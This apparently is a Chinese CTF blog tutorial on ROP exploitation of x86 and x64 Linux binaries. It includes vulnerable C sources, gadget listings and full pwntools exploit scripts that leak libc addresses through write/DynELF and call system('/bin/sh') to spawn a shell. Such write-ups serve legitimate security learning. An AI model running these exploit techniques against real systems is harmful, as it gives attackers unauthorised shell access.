Pwn_x86中的ROP利用

啥是rop?

rop_x86

CTF中的ROP

顾名思义ROP,就是面向返回语句的编程方法,它借用libc代码段里面的多个retq前的一段指令拼凑成一段有效的逻辑,从而达到攻击的目标。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
void f()
{
system("no_shell_QQ");
}
void secure(void)
{
char buf1[100];
printf("What do you think ?\n");
gets(buf1);
}
int main(void)
{
secure();
return 0;
}

运行命令生成
gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwn2 pwn2.c

漏洞原理,利用rop结合ret2blic技术

1、找到system_addr,gets_addr,sh_addr,这些都可以用
system_addr=elf.symbols(‘system’)
system_plt = elf.symbols[‘system’]
get_plt = elf.symbols[‘gets’]
sh_addr= elf.bss()
2、找到gadgets,也就是利用rop
先得到gadgets,这里大神都用ROPGadget,不过我还不会用,我是用objdump,执行以下命令
objdump -d ./pwn2 | egrep 'ret|pop'
结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
8048309: 5b pop %ebx
804830a: c3 ret
8048372: 5e pop %esi
80483a3: c3 ret
80483d9: f3 c3 repz ret
8048413: f3 c3 repz ret
804843c: f3 c3 repz ret
8048495: c3 ret
80484ce: c3 ret
80484f7: 59 pop %ecx
80484f8: 5d pop %ebp
80484fc: c3 ret
8048500: c3 ret
8048568: 5b pop %ebx
8048569: 5e pop %esi
804856a: 5f pop %edi
804856b: 5d pop %ebp
804856c: c3 ret
8048570: f3 c3 repz ret
8048586: 5b pop %ebx
8048587: c3 ret

现在我用最后一个gadgets,pop_ebx=0x8048586

构造payload:
payload=’a’*112+p32(get_plt)+p32(pop_ebx)+p32(sh_addr)+p32(system_plt)+p32(1)+p32(sh_addr)

p32(get_plt):函数gets的开始地址 ,后面接返回地址[p32(pop_ebx)],再后面是要写入字符的地址[p32(sh_addr)]
p32(pop_ebx):这个gadgets,将栈中他后面一个8字节的数据弹出[p32(sh_addr)],然后运行返回地址[p32(system_plt)]
p32(sh_addr):这是bss的地址(可读可写可执行),为了将’\bin\sh’写入这里,也是函数gets[p32(get_plt)]的参数
p32(system_plt):这是p32(pop_ebx)函数的返回地址,这里改为我们要执行的system的地址
p32(1):system的返回地址,因为用不到,这里我随便填的。
p32(sh_addr):system的第一个参数,要执行字符串的地址,我们要拿到shell,就填’/bin/sh’的地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = process('./pwn2')
elf = ELF('pwn2')
system_plt = elf.symbols['system']
get_plt = elf.symbols['gets']
sh_addr= elf.bss()
pop_ebx= 0x8048586
#gdb.attach(p)
payload='a'*112+p32(get_plt)+p32(pop_ebx)+p32(sh_addr)+p32(system_plt)+p32(1)+p32(sh_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

rop_x64

题目-全球某工商的ctf网站上的ctf题(还有源码福利)

题目
链接:http://pan.baidu.com/s/1dF1Z3e5 密码:jx30

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

分析

查看文件类型
file pwn1
发现是64位的,吓我一跳,了解一下x64的特点

x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。

如write(rdi,rsi,rdx)
先明确目标
1、用于任意地址读
2、用于任意地址写
3、获取shell

可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./pwn2观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

objdump -d pwn1
如下:

我们可以看到利用0x4005fa处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005e0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。

那就先来第一步吧,任意地址读,这里我们需要gadget
注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。payload1任意地址读

1
2
3
4
payload1 = 'a'*136
payload1 +=p64(0x4005fa)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(raddr)+p64(1)
payload1 +=p64(0x4005e0)+'12345678'*7
payload1 +=p64(main_addr)

第二步吧,任意地址写

1
2
3
4
5
payload2 = 'a'*136
print hex(wAddress)
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(main_addr)

第三步吧,获取shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
elf=ELF('pwn1')
so = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#so=ELF('libc.so.6')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bssAddr = elf.bss()
def leak(raddr):
payload = 'a'*136
payload +=p64(0x4005fa)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(raddr)+p64(1)
payload +=p64(0x4005e0)+'12345678'*7
payload +=p64(main_addr)
p.sendline(payload)
p.recvuntil('Hello, World\n')
data = p.recv(8)
return data
def arbWrite(wAddress,data):
payload2 = 'a'*136
print hex(wAddress)
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(main_addr)
p.send(payload2)
sleep(2)
p.send(data)
p = process('pwn1')
#p = remote('127.0.0.1',4001)
writeAddr = u64(leak(write_got))
print hex(writeAddr)
#gdb.attach(p)
systemAddr = writeAddr -(so.symbols['write']-so.symbols['system'])
sh = writeAddr - (so.symbols['write']-next(so.search('/bin/sh')))
print hex(sh)
p.recvuntil('Hello, World\n')
arbWrite(bssAddr,p64(systemAddr))
bss1 = bssAddr+8
p.recvuntil('Hello, World\n')
arbWrite(bss1,'/bin/sh\0')
p.recvuntil('Hello, World\n')
payload3 = 'a'*136
payload3 += p64(0x4005fa)+p64(0)+p64(1)+p64(bssAddr)+p64(0)+p64(0)+p64(bss1)
payload3 += p64(0x4005e0)+'12345678'*7
payload3 += p64(main_addr)
p.send(payload3)
p.interactive()

这里记录一下我走过的坑,
1、首先是第一张4005e6 mov %r15d,%edi,如果bin/sh所在的地址大于4字节,rdi!=edi(这是第一个参数)那么就要过这里,先把bin/sh存放在一个毕竟小的地址,bss段
,再将bss地址 传入edi,便可以绕过
2、在本地运行时libc.so.6使用自己的,而连接上目标机器使用他给的libc.so.6

DynELF泄露函数地址

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\\n", 13);
}

运行命令生成
gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwn3 pwn3.c

步骤

没有system函数和libc.so
1、找到system函数
2、将\bin\sh写入bss段
3、利用gadgets构造system(‘\bin\sh’),得到shell

漏洞原理,利用pwntools中的DynELF模块来寻找system_addr

这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./pwn3’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。这里的leak函数是这样的:

1
2
3
4
5
6
def leak(address):
payload1='a'*140+p32(write_plt)+p32(main)+p32(1)+p32(address)+p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

write(fb,addr,len)对应
write(p32(1),p32(address),p32(4))
p32(write_plt):这是原返回地址,改为write_plt的地址,p32(main)是write_plt的返回地址 ,p32(1)是write_plt的参数1代表读,0代表写,p32(address)是write_plt要读的地址,p32(4)是write_plt要读的字节数

这样就会循环读取函数地址 ,读取地址

1
2
3
4
5
p = process('./pwn3')
d = DynELF(leak, elf=ELF('./pwn3'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[+] Resolving 'system' in 'libc.so': 0xf7ffd920
0x8049f14 => 01000000
0x8049f1c => 0c000000
0x8049f24 => 0d000000
0xf7df1000 => 7f454c46
0xf7fd2860 => b03dfaf7
0xf7df1004 => 01010103
0xf7fa3db0 => 01000000
0xf7fa3db8 => 0e000000
'''
0xf7df2390 => b5050000
0xf7df4040 => 8ae4ee1c
0xf7dfaa88 => 70310000
0xf7e017d8 => 73797374
0xf7e017dc => 656d0074
0xf7dfaa8c => 30ab0300
system_addr=0xf7e2bb30

这里我们已经得到system_addr了

构造payload3,得到shell

找gadgets利用
objdump -d ./pwn3|egrep "pop|ret"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
80482e9: 5b pop %ebx
80482ea: c3 ret
8048342: 5e pop %esi
8048373: c3 ret
80483a9: f3 c3 repz ret
80483e3: f3 c3 repz ret
804840c: f3 c3 repz ret
804846f: c3 ret
80484ad: 59 pop %ecx
80484ae: 5b pop %ebx
80484af: 5d pop %ebp
80484b3: c3 ret
80484b7: c3 ret
8048518: 5b pop %ebx
8048519: 5e pop %esi
804851a: 5f pop %edi
804851b: 5d pop %ebp
804851c: c3 ret
8048520: f3 c3 repz ret
8048536: 5b pop %ebx
8048537: c3 ret

因为我们需要pop pop pop ret,这里我选择pppr=0x80484ad

1
2
payload2 ='a'*140+p32(plt_read)+p32(pppr)+p32(0)+p32(bss_addr)+p32(8)
payload2 += p32(system_addr)+p32(1)+p32(bss_addr)

5、整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
elf = ELF('./pwn3')
read_plt = elf.plt['read']
write_plt=elf.plt['write']
main=elf.symbols['main']
pppr=0x8048519
bss_addr= elf.bss()
print hex(bss_addr)
def leak(address):
payload1='a'*140+p32(write_plt)+p32(main)+p32(1)+p32(address)+p32(4)
p.send(payload1)
data = p.recv(4)
#print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./pwn3')
d = DynELF(leak, elf=ELF('./pwn3'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
#gdb.attach(p)
payload2 ='a'*140+p32(read_plt)+p32(pppr)+p32(0)+p32(bss_addr)+p32(8)
payload2 += p32(system_addr)+p32(main)+p32(bss_addr)
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

记录一下自己走过的坑,不知道找gadgets利用的时候pppr=0x80484ad,程序就会莫名的中断 ,
调试发现,当跳到0x80484ad这个地址时,程序就退出了。换个pppr=0x8048519,运行成功。
可能是 那个gadgets有问题,不知道了,不过可以多换几个试试

Donate
-------------本文结束感谢您的阅读-------------